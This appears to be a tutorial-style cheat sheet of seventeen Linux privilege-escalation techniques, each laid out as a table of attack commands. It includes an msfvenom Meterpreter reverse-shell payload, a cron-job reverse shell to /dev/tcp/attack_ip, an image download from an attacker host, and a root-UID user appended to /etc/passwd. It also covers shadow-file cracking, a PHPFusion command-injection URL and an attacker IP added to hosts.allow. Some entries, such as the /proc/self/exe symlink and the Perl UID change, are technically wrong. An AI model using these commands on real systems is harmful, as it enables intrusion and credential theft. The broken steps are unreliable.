

Lesser Known and Creative Linux Privilege Escalation Techniques

Introduction

While many Linux privilege escalation techniques are widely known and frequently exploited, there are numerous lesser-known or more creative methods that attackers can use to escalate their privileges. These techniques often involve overlooked configurations, subtle flaws in security, or niche misconfigurations in services that may be missed by traditional security audits. Understanding and recognizing these methods is critical not only for attackers but for defenders seeking to patch vulnerabilities in their systems. This list covers some of the lesser-known but effective privilege escalation strategies on Linux systems.

1. LXD Alpine UID Privilege Escalation

Step	Command/Description
Download Alpine image	<code>curl http://attack_ip:8000/alpine-v3.13-x86_64-20210218_0139.tar.gz -o /tmp/alpine-v3.13-x86_64-20210218_0139.tar.gz</code> (Download Alpine image to victim)
Import the image	<code>lxc image import ./alpine-v3.13-x86_64-20210218_0139.tar.gz --alias myimage</code> (Import Alpine image into LXD)
Create a privileged container	<code>lxc init myimage ignite -c security.privileged=true</code> (Create container with privileged access)
Add a device to container	<code>lxc config device add ignite mydevice disk source=/ path=/mnt/root recursive=true</code> (Link root directory of victim to container)
Start the container	<code>lxc start ignite</code> (Start the container)
Execute shell inside the container	<code>lxc exec ignite /bin/sh</code> (Gain root access inside the container)

2. Meterpreter Shell

Step	Command/Description
Create reverse shell payload	<code>msfvenom -p linux/x64/meterpreter_reverse_tcp LHOST=attack_ip LPORT=9001 -f elf > pwned.elf</code> (Create a reverse Meterpreter shell payload)
Launch Metasploit listener	<code>msfconsole</code> (Start Metasploit console)
Set up listener configuration	<code>use multi/handler</code> (Set handler for reverse shell)
Set payload parameters	<code>set payload linux/x64/meterpreter_reverse_tcp</code> (Set appropriate payload)
Set listener IP and port	<code>set LHOST attack_ip</code> (Set listener IP) <code>set LPORT 9001</code> (Set listener port)
Run listener	<code>run</code> (Start the listener to catch reverse shell)

3. Writable /etc/passwd Privilege Escalation

Step	Command/Description
Check for writable /etc/passwd	<code>ls -l /etc/passwd</code> (Check if the /etc/passwd file is writable)
Generate a new password for root	<code>openssl passwd dog</code> (Generate a hashed password)
Modify /etc/passwd to include new password	<code>echo 'test2:x:0:0:root:/root:/bin/bash' >> /etc/passwd</code> (Add new user with weak password for root)
Switch to new user	<code>su test2</code> (Switch to new user)
Log in with weak password	<code>dog</code> (Login as root using weak password)

4. Escaping Restricted Bash (RBASH)

Step	Command/Description
Identify restricted shell (RBASH)	<code>echo \$0</code> (Check if the shell is restricted)

Step	Command/Description
Escape restricted shell	<code>awk 'BEGIN {system("/bin/sh")}'</code> (Spawn a shell from restricted shell)
Alternative method	<code>ssh -t user@target_ip "bash --noprofile -i"</code> (Run bash with no profile)
Alternative method (another escape)	<code>ssh -t user@target_ip -t "()" { ;; }; sh -i</code> (Use function injection to escape RBASH)

5. Docker Group Privilege Escalation

Step	Command/Description
Check if the user is in docker group	<code>groups</code> (Check if user belongs to docker group)
Run a privileged container	<code>docker run -v /:/mnt --rm -it alpine chroot /mnt sh</code> (Run a container with root access to the host)

6. Unshadow Technique

Step	Command/Description
Copy <code>/etc/passwd</code> and <code>/etc/shadow</code>	<code>cp /etc/passwd passwd.txt cp /etc/shadow shadow.txt</code> (Copy passwd and shadow to local files)
Combine files for password cracking	<code>unshadow passwd.txt shadow.txt > passwords.txt</code> (Combine files to crack passwords)
Crack passwords with John the Ripper	<code>john passwords.txt</code> (Run John the Ripper to crack password hashes)
Enumerate further if cracked	(Use cracked password for further enumeration and priv-esc)

7. PHPFusion 9.03.50 Privilege Escalation

Step	Command/Description
Check for open ports	<code>ss -lntu netstat -ano</code> (Identify active ports)
Check running processes	<code>ps aux</code> (Identify processes running PHPFusion)
Exploit vulnerable script	<code>http://target_ip/files/infusions/downloads/downloads.php?cat_id=\${system(base64_decode(aWQK))}</code> (Use base64-encoded command injection to trigger reverse shell or command execution)

8. Root UID to EUID Privilege Escalation (Perl)

Step	Command/Description
Execute Perl to escalate	<code>perl -MEnglish -e '\$UID = 0; \$ENV{PATH} = "/bin:/usr/bin:/sbin:/usr/sbin"; exec "su - root"'</code> (Use Perl to change UID and escalate to root)

9. Sudoers File Misconfigurations

Step	Command/Description
Check for sudo permissions	<code>sudo -l</code> (List the allowed sudo commands for the current user)
Exploiting misconfigurations	If you have permission to run a specific command as root without a password, use it to escalate privileges. For example, if you can run a script or a binary, you can inject malicious code into it or execute a shell.
Use "sudoedit" for privilege escalation	<code>sudoedit /etc/sudoers</code> (Edit sudoers file with root privileges)

10. Sudo with SUID Binary

Step	Command/Description
Check for SUID binaries	<code>find / -type f -perm -04000 -exec ls -l {} \;</code> (List SUID binaries on the system)
Exploiting vulnerable binaries	If you have permission to execute an SUID binary, you can potentially execute arbitrary code with root privileges. Look for executables that might allow you to escalate privileges (e.g., vim, nano, python, etc.).

11. Insecure Cron Jobs

Step	Command/Description
Check for writable cron job directories	<code>ls -l /etc/cron.d/ /etc/cron.daily/ /etc/cron.hourly/ /etc/cron.monthly/</code> (List cron job directories)
Check the cron job configuration	<code>cat /etc/crontab cat /var/spool/cron/crontabs/username</code> (Review cron job scripts for potential vulnerabilities)
Injecting malicious code	If you find a cron job that you can modify or write to, inject a reverse shell or a command that escalates your privileges. Example: <code>echo "/bin/bash -i > /dev/tcp/attack_ip/9001 0>&1" > /etc/cron.d/malicious_job</code>

12. Log File Race Condition

Step	Command/Description
Check writable log files	<code>find / -type f -name "*.log" -writable</code> (List writable log files)
Create a race condition	If the log files are being written by a process running with higher privileges (e.g., root), you can exploit a race condition to inject malicious code or overwrite critical system files by exploiting timing. Example: <code>echo "malicious code" > /var/log/some_log</code>

13. /proc/self/exe Symlink Exploit

Step	Command/Description
Find a vulnerable executable	Look for processes running with root privileges that can be exploited via /proc/self/exe.
Create symlink to malicious executable	<code>ln -s /tmp/malicious_binary /proc/self/exe</code> (Link a malicious binary to the executable in /proc/self/exe to hijack it)

14. Hostname Spoofing with /etc/hosts

Step	Command/Description
Modify /etc/hosts file	<code>echo "attack_ip target_host" >> /etc/hosts</code> (Modify the /etc/hosts file to make a service misdirect to an attacker-controlled host)
Use hostname spoofing to impersonate services	Hostname spoofing may allow you to impersonate services running on the system. Once impersonated, you can potentially escalate privileges or gain unauthorized access.

15. Exploiting Weak Permissions on /tmp or /var/tmp

Step	Command/Description
Check permissions of /tmp and /var/tmp	<code>ls -ld /tmp /var/tmp</code> (Check if /tmp or /var/tmp have weak permissions)
Create a malicious script	If either directory is world-writable or accessible, create a malicious script that escalates privileges. Example: <code>echo 'cp /bin/bash /tmp/bash && chmod +s /tmp/bash' > /tmp/evil.sh</code> (Script to escalate to root)

16. LD_PRELOAD for Dynamic Library Hijacking

Step	Command/Description
Create malicious library	<code>gcc -shared -fPIC -o /tmp/malicious.so malicious_code.c</code> (Create a malicious shared library)
Set LD_PRELOAD	<code>export LD_PRELOAD=/tmp/malicious.so</code> (Set LD_PRELOAD to load the malicious library)
Execute vulnerable program	Run the vulnerable program that uses dynamic libraries, and your injected malicious code will execute.

17. Writing to a Protected File (e.g., /etc/hosts.allow)

Step	Command/Description
Check for writable files	<code>find / -writable</code> (List writable files that should normally be protected)
Modify /etc/hosts.allow	<code>echo "attack_ip : ALL" >> /etc/hosts.allow</code> (Allow an attacker's IP to bypass security restrictions)

Conclusion

These lesser-known techniques can be just as powerful as their more famous counterparts when it comes to privilege escalation on Linux systems. By becoming familiar with them, both attackers and defenders can stay one step ahead, either exploiting overlooked vulnerabilities or fortifying systems against emerging threats. Be sure to incorporate these techniques into your security assessments to identify and patch potential attack vectors effectively.